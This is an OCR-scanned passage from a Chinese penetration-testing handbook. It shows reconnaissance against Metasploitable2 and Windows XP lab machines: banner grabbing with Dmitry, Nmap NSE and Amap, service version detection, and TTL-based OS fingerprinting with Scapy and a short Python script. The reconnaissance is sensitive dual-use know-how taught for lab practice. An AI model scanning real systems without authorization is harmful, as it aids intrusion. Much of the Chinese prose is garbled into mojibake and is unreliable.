pass

ERBGHAT » ZASBMEABMAER o F—NH5KEES A TMRRFHAEN IP
WAt o B AL RIA T HBFMOR O LENE —AH0 o FEAFRE—N5K
BATRE—ANHD o HATHER T » I ARS8 Python £ F R EHITH &
R AGE L E N 8955 O E o F B A EA AT AT A R B B 89 IR S A4FAE o X ANBp KT
VAR A BCSUARRIR Z G B3 AT A2 B 7 A sk AT



root@KalilLinux:~# chmod 777 banner_grab.py
root@KalilLinux:~# ./banner_grab.py 172.16.36.135 1 65535

TCP Port 21

220 (VvSFTPd 2.3.4)

TCP Port 22 - SSH-2.0-0penSSH_4.7pl1 Debian-8ubuntul

TCP Port 23 - 2?2?2727 ?2?2#7?7'

TCP Port 25 220 metasploitable.localdomain ESMTP Postfix (Ubun
tu)

TCP Port 512 - Where are you?

TCP Port 514 -
TCP Port 1524 - root@metasploitable:/#

TCP Port 2121 - 220 ProFTPD 1.3.1 Server (Debian)
[::ffff:172.16.36.135]

TCP Port 3306 - >
5.0.51a-3ubuntu5?bo, (${c\,#934JYbN4"'fM
TCP Port 5900 - RFB 003.003

TCP Port 6667 - :irc.Metasploitable.LAN NOTICE AUTH :*** Looking
up your hostname...

:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your
hostname; using your IP address instead

TCP Port 6697 - :irc.Metasploitable.LAN NOTICE AUTH :*** Looking
up Yyour hostname...

IAEJR 32

L%ﬂ%?ﬂA%PwmnW$%EE%&HéE?E°W$@%&%ﬁi%aﬁ
S 13 0 H X IRG A % T kAL TCP &4 - R %i?%%%&%ﬁ%aa
IR AT AR » ARG AT By Ay Sl F o W RER T RS BRI L
BAZ G 2B BINLEN T — Aot c 52480l > WwRESLTEHE > 22
RABCEATHAE » BHLWKE > H AW AL RS MIEIRA G T —AME o

4.3 Dmitry 4 FEJREL

Dimitry &~ #42 & 206 T I » T AR T 4038 /7 2 in ot 0 LA R IR & » A
ﬂ%ﬁ?T%ﬁ&mmmei%ﬁﬁ%%%ﬁ’ﬂ&mlﬁ%ﬁ = E)
%o

W

&



%T&mmmw&%mx%&9ﬁgﬁmﬁéi%ﬁ R E A AT &
B M MR 509 AL A 4R o —BEAGHB TR A T MetaspI0|tabIe2 K PIATEAMES - B
& Metasploitable2 # £ %13 & » & 5% % — £ 892 % Metasploitable2”#:# ©

TAER A

M’mu&%éﬁ 2 2 KL 343659 4 Dmitry T R 1§ 150 /5 R 4 83
OPATIRIRE TCP % 0da# o KT A -p HIFRMAT :

root@KaliLinux:~# dmitry -p 172.16.36.135
Deepmagic Information Gathering Tool
"There be some deep magic going on"

ERROR: Unable to locate Host Name for 172.16.36.135
Continuing with limited modules
HostIP:172.16.36.135 HostName:

Gathered TCP Port information for 172.16.36.135

Port State
21/tcp open
22/tcp open
23/tcp open
25/tcp open
53/tcp open
80/tcp open
111/tcp open
139/tcp open

Portscan Finished: Scanned 150 ports, 141 ports were in state cl
osed

%Da‘:# B S SL 8 0 AARAE R Dmitry FATAFAEIRI o LT VUL 2K 3% 3
X 150 # 2B 1k Dmitry IRBAEAT T 69 4FAE o LT WA4E R -b ®FAe -p &
Iﬁﬂ‘:%ﬁk

jof M

7



root@KaliLinux:~# dmitry -pb 172.16.36.135
Deepmagic Information Gathering Tool
"There be some deep magic going on"

ERROR: Unable to locate
Host Name for 172.16.36.135 Continuing with limited modules
HostIP:172.16.36.135 HostName:

Gathered TCP Port information for 172.16.36.135

Port State
21/tcp open
>> 220 (VSFTPd 2.3.4)
22/tcp open
>> SSH-2.0-0penSSH_4.7p1 Debian-8ubuntul
23/tcp open
>> 27?77 ?2?2#7?27?'
25/tcp open
>> 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
53/tcp open
80/tcp open
111/tcp open
139/tcp open

Portscan Finished: Scanned 150 ports, 141 ports were in state cl
osed

IAEJR 3

Dmitry &N JEF & £ 6944 T A > TR Y EAHBATHAENRBIES o i T F
2 XA ARSI 55 2 > Dmitry T4 B S A LA > B3R A DA TR T LAe
WA 0 e ZRAFAEIRI o K B BAT/E K g O 3k A9 R AE G L B K6 25
EE Tl e AR

4.4 Nmap NSE 4 AE9R B
Nmap ## £ &5 Nmap B &3] % (NSE) > T 2AR TINEAT £ T AL 55 0 69 P 2R

% PR BAFAE o X AHLHE B T 24 T4E ] Nmap NSE k SRR $- 454 » AR R 5]
58k ARGTFRHEO XGRS o

%



A T@Uﬂ Nmap NSE M MR F4F4E » £ 5 P s X &40 > IR\ RAMA BT
TR IR 509 ZAL AL o RAEGHIFAENT MetaspI0|tabIe2 kAT EAME
% ° BB Metasploitable2 8 £ %15 & » # 5% % —F 69“L ¥ Metasploitable2”

Kok

#

BRAE TS

Nmap NSE B AT A& Nmap F1£ /M --script &R » LG8 & B A% AR kA
A o ﬂﬂ‘%ii/l\%iﬁﬁﬂﬂ’?li SAER -sT A%ERR > AARSHFMEAERAITES
TCP 23K E - I WAL AT Nmap F Rttt Rl o L&A o

o

IBF.\-

root@KaliLinux:~# nmap -sT 172.16.36.135 -p 22 --script=banner

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-19 04:56 EST
Nmap scan report for 172.16.36.135

Host is up (0.00036s latency).

PORT STATE SERVICE

22/tcp open ssh

| _banner: SSH-2.0-0penSSH_4.7pl1 Debian-8ubuntul

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

FERBEBFF 0 324 T Metasploitable2 & ZL69s% @ 22  I2 T R WK 0 dT X
9k » Nmap AL A 45 AR By Ak M 5 %% 0 AR X 89 IR 4 AR o 7T L4
Al --notation ° f&3% 2o B A4 A8 B ALH] o

root@KalilLinux:~# nmap -sT 172.16.36.135 -p 1-100 --script=banne
=

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-19 04:56 EST
Nmap scan report for 172.16.36.135

Host is up (0.0024s latency).

Not shown: 94 closed ports

PORT STATE SERVICE

21/tcp open ftp

| _banner: 220 (vsFTPd 2.3.4)

22/tcp open ssh

| _banner: SSH-2.0-0penSSH_4.7p1l Debian-8ubuntul

23/tcp open telnet

| _banner: \XFF\XFD\X18\XFF\XFD \XFF\XFD#\XFF\XFD'

25/tcp open smtp

| _banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
53/tcp open domain

80/tcp open http

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds



TAERH

A — AR T AT A AEICELEG 3% 35 30845 F) Nmap NSE B A o & T A h @ fd 7 XA
R BN ERAR AL T Nmap LB ETHROGTLEY » 2F AT 8 ix
PR FARE 3 LR o B AFAEINRIG A T Ao i deda fh—edhdT o A A ey Kt
I Ao AR S BB TCP 34542 85 7T A TRk S A A Fo AR M R 6942 % o

4.5 Amap FFAEIRIR

Amap A2 R4t TE o TR T INEAT £ @fss o LM %1% & F 1 BUAFAE ©
BAFLEE BT T 2 fT48 ] Amap kKR BUR 54548 » VMEIR B A0 B & A& 4 L 89 T 3064
AR X RS% o

v
A TR Amap BRI SHAE > £ % P I AR > 1R E BANA AT B

%I % 89 B A RAELEHI TR A T Metasploitable2 kR #ATEAME S Ao
Metasploitable2 # £ % 12 & » & 5% % — 852 % Metasploitable2" 4% o

B B

Amap T8 -B & T U TUABAERE KX ETEA « Xtk LR EH T IP batife
B FE5H OB AEAE o Amap TR 48 T AR [P Muak Ao IR 55 AL RO R AR £ 69 4%
AE o

root@KalilLinux:~# amap -B 172.16.36.135 21
amap v5.4 (www.thc.org/thc-amap) started at 2013-12-19 05:04:58
- BANNER mode

Banner on 172.16.36.135:21/tcp : 220 (vsFTPd 2.3.4)\r\n

amap v5.4 finished at 2013-12-19 05:04:58

ZAMBIFF o Amap A Metasploitable2 £ % 172.16.36.135 &7 21 5% 2IR T R
FAFAE o XA AT UME Bk H 2 6 7P 0E o A T AEPTA R84 TCP 3%
O E AT A B R BT T A 805k 0 Mk o LT KR A7 B ARk 0 3baEE) TCP
KAy A 1642k 0 H—ALTAAME 1 A 0 FIA—RF 2 **16 & 65536
TCP % a3ttt o 4 THFATA TR HAEZ R » L/MARHE 1 3] 65535 89 0 H o



root@KaliLinux:~# amap -B 172.16.36.135 1-65535
amap v5.4 (www.thc.org/thc-amap) started at 2014-01-24 15:54:28

-  BANNER mode

Banner on 172.16.36.135:22/tcp
ubuntul\n

Banner on 172.16.36.135:21/tcp
Banner on 172.16.36.135:25/tcp
ESMTP Postfix (Ubuntu)\r\n
Banner on 172.16.36.135:23/tcp

Banner on 172.16.36.135:512/tcp
Banner on 172.16.36.135:1524/tcp :
Banner on 172.16.36.135:2121/tcp

bian) [ffff172.16.36.135]\r\n

Banner on 172.16.36.135:3306/tcp

FCYxm=)Q=~$5

Banner on 172.16.36.135:5900/tcp
Banner on 172.16.36.135:6667/tcp :

: SSH-2.0-0penSSH_4.7p1 Debian- 8

220 (vSFTPd 2.3.4)\r\n
220 metasploitable.localdomain

# 1

: Where are you?\n

root@metasploitable/#
220 ProFTPD 1.3.1 Server (De

: >\n5.0.51a- 3ubuntu5dJ$t?xdj,

RFB 003.003\n
irc.Metasploitable.LAN NOTICE

AUTH *** Looking up your hostname...\r\n

Banner on 172.16.36.135:6697/tcp

1rc.Metasploitable.LAN NOTICE

AUTH *** Looking up your hostname...\r\n

amap v5.4 finished at 2014-01-24 15:54:35

Amap BT Atz B 4Rt 7T — & R A

Fo AT 8 s TUMB P F3 o L1

X Bl akdE ( Banner ) AR AN PR IP s+ 0 FH
Fl o AT %Mk RTids » BA1LMA grep HEMEFHENEE > et eHm

B E— o E AR

KRFEFRGBLE XL > RATTIA grep X £ on o

root@KalilLinux:~# amap -B 172.16.36.135 1-65535 | grep "on"

Banner on 172.16.36.135:22/tcp
ubuntul\n

Banner on 172.16.36.135:23/tcp
Banner on 172.16.36.135:21/tcp
Banner on 172.16.36.135:25/tcp
ESMTP Postfix (Ubuntu)\r\n

: SSH-2.0-0penSSH_4.7p1 Debian- 8

# 1
220 (vsFTPd 2.3.4)\r\n
220 metasploitable.localdomain

Banner on 172.16.36.135:512/tcp
Banner on 172.16.36.135:1524/tcp
Banner on 172.16.36.135:2121/tcp
bian) [ffff172.16.36.135]\r\n
Banner on 172.16.36.135:3306/tcp
Y, |$948[D~qg<u[

Banner on 172.16.36.135:5900/tcp
Banner on 172.16.36.135:6697/tcp :

AUTH *** Looking up your hostname.

Banner on 172.16.36.135:6667/tcp

AUTH *** Looking up your hostname..

: Where are you?\n

root@metasploitable/#
220 ProFTPD 1.3.1 Server (De

: >\n5.0.51a- 3ubuntu5\tr>}{pDA

RFB 003.003\n
irc.Metasploitable.LAN NOTICE

Ar\n
1rc.Metasploitable.LAN NOTICE
Ar\n



EMNTLALEH G FrMRaFRks2HiTd > ARAKREFHE23 5>
% Banner on %81& > AR ETE IP Mt Atk PAA L o

root@KaliLinux:~# amap -B 172.16.36.135 1-65535 | grep "on" | cu
t -d":" -f 2-5

21/tcp : 220 (vsFTPd 2.3.4)\r\n

22/tcp : SSH-2.0-0penSSH_4.7p1 Debian-8ubuntul\n

1524/tcp : root@metasploitable/#

25/tcp : 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)\r
\n

23/tcp @ #'

512/tcp : Where are you?\n

2121/tcp : 220 ProFTPD 1.3.1 Server (Debian) [ffff172.16.36.135
1\r\n

3306/tcp : >\n5.0.51a-3ubuntu5\nqjAClvo(,v>q?&?J7gW>n

5900/tcp : RFB 003.003\n

6667/tcp : irc.Metasploitable.LAN NOTICE AUTH *** Looking up you
r hostname...\r\n

6697/tcp : irc.Metasploitable.LAN NOTICE AUTH *** Looking up you
r hostname...\r\n

IAEJR 32

Amap I F 5 A AEIRIAE 58 B R IR A 3L PT 6 #9 T R —H  Amap 838
B ARE O I P R ZRAE AR OB 2R LG BWEMRE T 5 R
% XA 0 R B A AE o

4.6 Nmap /& %1% 3|

BRI ZIEF A A 6912 BB > REFEFOMARLAARATEE -
Nmap 4 # Mk 52 5] 2 A8 > AR ] F 69 M ARIREALH] © KA R T T S fTi2
Ji Nmap J TR M vm 2 89 547 AT IR 53R ) o

M %

A T4 Nmap $ATR 7 5] » R E ZWMA SATTHIRM 6 ML IRF 09 2R A 4% o
R B -F12 A1 T Metasploitable2 sk AT ME % - B E Metasploitable2 49 £ %
12 & » h 5% % —F69“2 % Metasploitable2"#L 45 o

BAE T B

7T AE Nmap MR % R 609 Z skt » KAV %% I8 T4 B & IT 09 IR 5 4548
B0k % o 1% A Netcat i # Metasploitable2 A %49 TCP 80 s# o (X M5 &
18— 89 “Netcat HAEMBUHAE Fit 62 T ) » RNNTAEFE » RAGELZ 5 TCP
B T REAFEMEATIR 54548 o



root@KaliLinux:~# nc -nv 172.16.36.135 80
(UNKNOWN) [172.16.36.135] 80 (http) open
AC

G s AT AEAF G EHAT Nmap 424 » RATT MR -sv & » FF AT IP

FasH O o

root@KaliLinux:~# nmap 172.16.36.135 -p 80 -sV

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-19 05:20 EST
Nmap scan report for 172.16.36.135

Host is up (0.00035s latency).

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

MAC Address: 00:0C:29:3D:84:32 (VMware)

Service detection performed. Please report any incorrect results
at http://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.18 seconds

R AEF B EZATHEF > Nmap G845 1R 5 2R % o fﬁ’uﬁﬁ%%%&M$
AR FAR B AL T AR T dF Eomu 5| & A8 R o X e Nmap PHRE R
2 > Nmap 2424 1000 ™% Ao » FEZRRF A RH B RGEFTRS o



root@KaliLinux:~# nmap 172.16.36.135 -sV

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-19 05:20 EST
Nmap scan report for 172.16.36.135

Host is up (0.00032s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl1 Debian 8ubuntul (protoc
ol 2.0)

23/tcp open telnet Linux telnetd

25/tcp  open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open tcpwrapped

1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open ingreslock?

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open 1irc Unreal ircd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 M

AC Address: 00:0C:29:3D:84:32 (VMware)

Service Info: Hosts: metasploitable.localdomain, localhost, ir
c.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o0:1linux:linux
_kernel

Service detection performed. Please report any incorrect results

at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.49 seconds

I AE)R 3
Nmap IR %25 & K E— AP B 2R ME R » LG o RZEF Regeh e » 2K

TRFHEZGZELATMATA » RBHIIRS o kb > R 2K 5] Nmap IR %18 7] 4
69 )& 3F > Nmap R8T R P 8R4 » MEAFRIRE 2 4 RETH -

4.7 Amap & %12 3|



Amap & Nmap #31#% » RE A RH| M LR E Mm%kt o BARE T » BN 2K L
42 Amap kAT %125 o

£ &

A TALR Amap #ATIR 512 5] » AR & ZIMA S4T T AHRIR N 69 P 460k 5 69 ZAL A 4 ©
RBEEGB)F12 A1 T Metasploitable2 sk AT AME S - B & Metasploitable2 49 £ %
12 8 » H 5% % —xt9"2 £ Metasploitable2”#k 4% o

BRAE T B

ATEE—ZD EPATRERS > AFE 6 P 3AFs 0 5 k24T Amap °

root@KalilLinux:~# amap 172.16.36.135 80
amap v5.4 (www.thc.org/thc-amap) started at 2013-12-19 05:26:13
-  APPLICATION MAPPING mode

Protocol on 172.16.36.135:80/tcp matches http
Protocol on 172.16.36.135:80/tcp matches http-apache-2

Unidentified ports: none.

amap v5.4 finished at 2013-12-19 05:26:19

Amap &7 4% zﬁi#frma,szf*—* Q5 F o AT ZXERIAE AT IP ik
Fost OB RMAT amap SRR LB H AN E AR O T o IS o LB K
B—AmuagiEE o

root@KalilLinux:~# amap 172.16.36.135 20-30
amap v5.4 (www.thc.org/thc-amap) started at 2013-12-19 05:28:16
- APPLICATION MAPPING mode

Protocol on 172.16.36.135:25/tcp matches smtp
Protocol on 172.16.36.135:21/tcp matches ftp
Protocol on 172.16.36.135:25/tcp matches nntp
Protocol on 172.16.36.135:22/tcp matches ssh
Protocol on 172.16.36.135:22/tcp matches ssh-openssh
Protocol on 172.16.36.135:23/tcp matches telnet

Unidentified ports: 172.16.36.135:20/tcp 172.16.36.135:24/tcp 1
72.16.36.135:26/tcp 172.16.36.135:27/tcp 172.16.36.135:28/tcp 1
72.16.36.135:29/tcp 172.16.36.135:30/tcp (total 7).

amap v5.4 finished at 2013-12-19 05:28:17



BT RAMEFTIRSE » S amE RELZ P& » APMEMRBAH 69550 o XA
PR TAA L2 BT T RE IR BB IR - 69 FF 3% 2 » e ST Hiated b9 X A5 a o
2 X AN EafT 10 /Mamﬂj‘@%%’ﬁ BIME LR OB ESTH
TR o AT EFRRRPHGZE TR -q &7 :

root@KaliLinux:~# amap 172.16.36.135 1-100 -q
amap v5.4 (www.thc.org/thc-amap) started at 2013-12-19 05:29:27
- APPLICATION MAPPING mode

Protocol on 172.16.36.135:21/tcp matches ftp

Protocol on 172.16.36.135:25/tcp matches smtp

Protocol on 172.16.36.135:22/tcp matches ssh

Protocol on 172.16.36.135:22/tcp matches ssh-openssh
Protocol on 172.16.36.135:23/tcp matches telnet
Protocol on 172.16.36.135:80/tcp matches http

Protocol on 172.16.36.135:80/tcp matches http-apache-2
Protocol on 172.16.36.135:25/tcp matches nntp

Protocol on 172.16.36.135:53/tcp matches dns

amap v5.4 finished at 2013-12-19 05:29:39

2% Amap £ AT RA L fF T EL o £RMITF » BITAE O 22
By IR % AR ) 4 I B SSH £ % » 4L ITEe # e LL4K 69 OpenSSH & 4% - fr E« %%
#mk%&%%ﬁ ALRA Bl o FAETT AR A b @A 0 WA Bl A& a% o da X

R RS



root@KalilLinux:~# amap 172.16.36.135 1-100 -gb
amap v5.4 (www.thc.org/thc-amap) started at 2013-12-19 05:32:11
- APPLICATION MAPPING mode

Protocol on 172.16.36.135:21/tcp matches ftp - banner: 220 (VvsFT
Pd 2.3.4)\r\n530 Please login with USER and PASS.\r\n
Protocol on 172.16.36.135:22/tcp matches ssh - banner: SSH-2.0-
OpenSSH_4.7p1 Debian-8ubuntul\n
Protocol on 172.16.36.135:22/tcp matches ssh-openssh - banner:
SSH-2.0-0penSSH_4.7p1 Debian-8ubuntul\n
Protocol on 172.16.36.135:25/tcp matches smtp - banner: 220 met
asploitable.localdomain ESMTP Postfix (Ubuntu)\r\n221 2.7.0 Err
or I can break rules, too. Goodbye.\r\n
Protocol on 172.16.36.135:23/tcp matches telnet - banner: #!'
Protocol on 172.16.36.135:80/tcp matches http - banner: HTTP/1.1
200 OK\r\nDate Sat, 26 Oct 2013 014818 GMT\r\nServer Apache/2.
2.8 (Ubuntu) DAV/2\r\nX-Powered-By PHP/5.2.4-2ubuntu5.10\r\nCon
tent- Length 891\r\nConnection close\r\nContent-Type text/html\
r\n\r\n<html><head><title>Metasploitable2 - Linux</title><
Protocol on 172.16.36.135:80/tcp matches http-apache-2 - banner:
HTTP/1.1 200 OK\r\nDate Sat, 26 Oct 2013 014818 GMT\r\nServer
Apache/2.2.8 (Ubuntu) DAV/2\r\nX-Powered-By PHP/5.2.4- 2ubuntu5
.10\r\nContent-Length 891\r\nConnection close\r\nContent- Type t
ext/html\r\n\r\n<html><head><title>Metasploitable2 - Linux</tit
le><
Protocol on 172.16.36.135:53/tcp matches dns - banner: \f

amap v5.4 finished at 2013-12-19 05:32:23

BEIRP M REFRIRELE S H 65536 Mp o LWATE 09dah » WwREANR
S LHIEM T HEANTHRYGE L » IHELSIFTRENE o A TR 5125 2 6%
B BMNTER -1 23 ERERINFCHRELIERIEF TR LG9 o

root@KalilLinux:~# amap 172.16.36.135 1-100 -q1l
amap v5.4 (www.thc.org/thc-amap) started at 2013-12-19 05:33:16
- APPLICATION MAPPING mode

Protocol on 172.16.36.135:21/tcp matches ftp

Protocol on 172.16.36.135:22/tcp matches ssh

Protocol on 172.16.36.135:25/tcp matches smtp

Protocol on 172.16.36.135:23/tcp matches telnet
Protocol on 172.16.36.135:80/tcp matches http

Protocol on 172.16.36.135:80/tcp matches http-apache-2
Protocol on 172.16.36.135:53/tcp matches dns

amap v5.4 finished at 2013-12-19 05:33:16
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4.8 Scapy #A1E A 417 5

HRSZEARTAATZRRABERALRLCRESOEL - SAGBRELAL RIS
A IE F e a4 A K 9 ARME A 947 A & © Scapy T WA T3k 549 A7 4E4T 3k
EAF o IARBERETT fT@ LA MR EE TTL 44 » 1% A Scapy # 4T OS 1

7 o

&

A1 T4 Scapy kR %] TTL »A & 8 £ F » 4R F Z4MA 47 Linux/Unix &1 2 %4
#7247 Windows 4R1F & 469 242 A 4 o R AL 69 6] 12 A Metasploitable2 #=
Windows XP o &£ A6 E R IR T REAANE S5 8 E5E H -T2 X
Metasploitable2”f=“% % Windows Server’ k4% o

o R—F L ERREHWANE 128 5 ZH—F PO AIREES VIM
#2 Nano” °

B B

Windows #= Linux/Unix &1F 2 L3 A TR &9 TTL BKiAAess4h - BARETAAT
ZARAR A A R LGS o R4l T
BERA TTL Acd4 44
Windows 128
Linux/Unix 64

— AT Unix AL S0 TTL kAL AN 225 o2& » H TR EMREE » K17
S48 R T IRAE GG EAE A X AR E R ATIR c AT MR A BB ALY AR P8 TTL »
ENEGEEEHEFEL - XE > KAVEH ICMP @ehiE K o 4 T X% ICMP#F R »

BAVL R B XRMBEFRGER - BNEZARMENZIPE -



root@KalilLinux:~# scapy Welcome to Scapy (2.2.0) >>> linux = "17
2.16.36.135"

>>> windows = "172.16.36.134"
>>> i = IP()
>>> j.display()
#a[ IP |###
version= 4
ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = linux
>>> i.display()
###[ IP |###
version= 4
ihl= None
tos= 0Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= 1ip
chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\

ATHEFRGIPE » &2z 1P ¥EML i BF c F 1AM display &
oo BRAVT AN Z 8B R E o 8T > KEAEZIHIARRA EiE M

A 127.0.0.1  ATAERANE KL B ARk a944 > ¥ i.dst RAKNAZ
2 R0 M hE 0 FAF B AA o

WA BRAR display iEk > &A1 AE B 4R B A7 3bib% £ 37 » Scapy L&
4B |P Mot B 30 A AATEHINIE O AR L Ag 3k o A RN RIWETH LY IP
B o BMABINMMETHERNIPE » BN ZALKEICMP 2T o



>>> ping = ICMP()
>>> ping.display()
###[ ICMP |###
type= echo-request
code= 0
chksum= None
id= Ox0
seq= 0x0

A THEFEREGICMP 2 » ZAM41E A Fe IP BAR R 89357 o RGBT

o IcMP M EML T ping @H o RATAH » BiINAGE B T A M TR

F dispaly &% k#IA o @%F ICMP X R 2% 4T echo-request ° BRA&KA
RIZT IP#ICMP B » &MNFEZAL SR LERMEFLK -

>>> request = (i/ping)
>>> request.display()
###[ IP |###

version= 4

ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64

proto= icmp
chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\

#it[ ICMP ###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0Ox0

IP#2 ICMP B T i A 5 T8k R & c BBEETURSH O TE » RE
EMNEAER o display BHEZETAERNRELEERRE - — L fWER
o RATUFEEFEL sr1 REk o VHAESH AR o



>>> ans = srl(request)
Begin emission:
.................... Finished to send 1 packets.

Received 25 packets, got 1 answers, remaining O packets
>>> ans.display()
#Hit#[ IP |###
version= 4L
ihl= 5L
tos= 0x0
len= 28
id= 64067
flags=
frag= oL
ttl= 64
proto= icmp
chksum= 0xdf41
src= 172.16.36.135
dst= 172.16.36.180
\options\
#i##[ ICMP ###
type= echo-reply
code= 0
chksum= Oxffff
id= Ox0
seqg= 0Ox0
###[ Padding ###
load= '"\x00\x00\x00\x00\x00\Xx00\Xx00\x00\Xx00\x00\x00\x00\x00
\X00\X00\Xx00\ x00\x00'

#E] Ig]é/]‘i’f]‘/ﬁa]‘VX*I@QZQi#@}%ﬁU%ji&#E %#@}% ° }i_%\ ’ ﬁﬂ]ﬂ‘yx,ﬁzm -?’?Téﬁ
Grde s i AR SR P A A

>>> ans = sri1(IP(dst=1inux)/ICMP())
.Begin emission:
...*Finished to send 1 packets.

Received 5 packets, got 1 answers, remaining 0 packets

>>> ans

<IP version=4L ihl=5L tos=0x0 len=28 id=64068 flags= frag=0L t
t1=64 proto=icmp chksum=0xdf40 src=172.16.36.135 dst=172.16.36.
180 options=[] |<ICMP type=echo-reply code=0 chksum=oxffff id=
0Xx0 seq=0x0 |<Padding load="\x00\x00\x00\x00\Xx00\X00\X00\Xx00\X
00\X00\XO00\XO0\X00\X00\X00 \X00\Xx00\x00' |>>>

FxERE Linux 2489028 TTLAEA 64 o F —M4X 7T ¥A 2t Windows A 489
IP 3uht 4T » BATR Bz E B vA e P TTL 4469 £ 7 ©



>>> ans = sr1(IP(dst=windows)/ICMP())
.Begin emission:
...... Finished to send 1 packets.

Received 12 packets, got 1 answers, remaining 0 packets

>>> ans

<IP version=4L ihl=5L tos=0x0 len=28 1d=24714 flags= frag=0L t
t1=128 proto=icmp chksum=0x38fc src=172.16.36.134 dst=172.16.36
.180 options=[] |<ICMP type=echo-reply code=0 chksum=0xffff id
=0x0 seq=0x0 |<Padding load="\x00\x00\Xx00\XO0\X00\Xx00\Xx00\x00\
X00\X00\X00\X00\X00\X00\Xx00 \X00\x00\x00' |>>>

Z2 %W Windows £ ZLiR Bl 697h 52 69 TTL /4 128 o 3 Asek &2 ¥T WA 42 5 /£ Python
o ax,

root@KaliLinux:~# python Python 2.7.3 (default, Jan 2 2013, 16:
53:07)

[GCC 4.7.2] on linux2

Type "help", "copyright", "credits" or "license" for more infor
mation.

>>> from scapy.all import *

WARNING: No route found for IPv6 destination :: (no default rou
te?)

>>> ans = sr1(IP(dst="172.16.36.135")/ICMP())

.Begin emission:

............ Finished to send 1 packets.

Received 18 packets, got 1 answers, remaining 0 packets
>>> if int(ans[IP].ttl) <= 64:
print "Host is Linux"
else:
print "Host is Windows"
Host is Linux
>>> ans = sr1(IP(dst="172.16.36.134")/ICMP())
.Begin emission:
....... Finished to send 1 packets.

Received 13 packets, got 1 answers, remaining 0 packets
>>> if int(ans[IP].ttl) <= 64:
print "Host is Linux"
else:
print "Host is Windows"
Host is Windows

Wi R EARR R > TARMK TTLAEG R FE KA ES I TFT 64 XL > &
17T ABA % & 3247 Linux/Unix 31 A% o S0 > e R4 KT 64 0 &A1T MR %L
% % 7T A6 & 4T Windows #AF & 4 o EAIAZ T X04E A Python =T AT Ak B b
it .



#1/usr/bin/python

from scapy.all

import * import logging
logging.getLogger("scapy.runtime").setlLevel(logging.ERROR)
import sys

if len(sys.argv) != 2:

print "Usage - ./ttl_id.py [IP Address]"

print "Example - ./ttl_id.py 10.0.0.5"

print "Example will perform ttl analysis to attempt to deter
mine whether the system is Windows or Linux/Unix"

sys.exit()

ip = sys.argv[1]

ans = sr1(IP(dst=str(ip))/ICMP(), timeout=1,verbose=0)
if ans == None:
print "No response was returned"
elif int(ans[IP].ttl) <=
print "Host is Linux/Unix"
else:
print "Host is Windows"

A~ Python M A4 2 /%% » diikia ey |P doakapg o A TR ©69a 5 F 8
TTL B AL MBA AL o EABAT XA RERN chmod AW » # B
B3 PT 12 B AR R R R AT -

root@KalilLinux:~# chmod 777 ttl_id.py

root@KalilLinux:~# ./ttl_id.py

Usage - ./ttl_id.py [IP Address]

Example - ./ttl_id.py 10.0.0.5

Example will perform ttl analysis to attempt to determine whethe
r the system is Windows or Linux/Unix

root@KalilLinux:~# ./ttl_id.py 172.16.36.134 Host is Windows
root@KalilLinux:~# ./ttl_id.py 172.16.36.135 Host is Linux/Unix

I AE)R 3

Windows &1 A 4Lt M %R E 69 TTL Ae44 488 % 4 128 » A Linux/Unix &1 &
%464 BB ETGHT 64 2z ALF—MARL K0T LA 3B %L Windows
AG09€ 5 F TTL % 65 %) 128 » % Linux/Unix A 4= 8+ TTL A 1364 %
BRAGARAEAEINGEESE  FAREESFRFA T OHHIZE > X AR

4.9 Nmap 1&1E & 412 5



&%ﬂl\ﬁﬁ%?ﬁ |2 RBE ARG > R F Ry fitir bR E L4 - Nmap
WA R AL IR ARE » ETRARAAER L8 TTL 57 o XA KT T o fTiE A
Nmap é‘im%?#mﬂl' of KL AT B ARAE ARG o

£ &

A T4 A Nmap kMATIRME 2 R0 5] 0 8 F ZIMA 24T Linux/Unix 3BAE £ Sfe 2
4T Windows #4F A A6 ZAZ R4 © %‘m Bt 69 4] 1% il Metasploitable2 #» Windows
XPo EAMERIIRTREAANESELHFSE L —FH TR
Metasploitable2”#=“% ¥ Windows Server'#:44 ©

BT %
AT AT Nmap #1E A %2 5] » Nmap 2 %AE R -0 &RAFH T IP AL kAA -

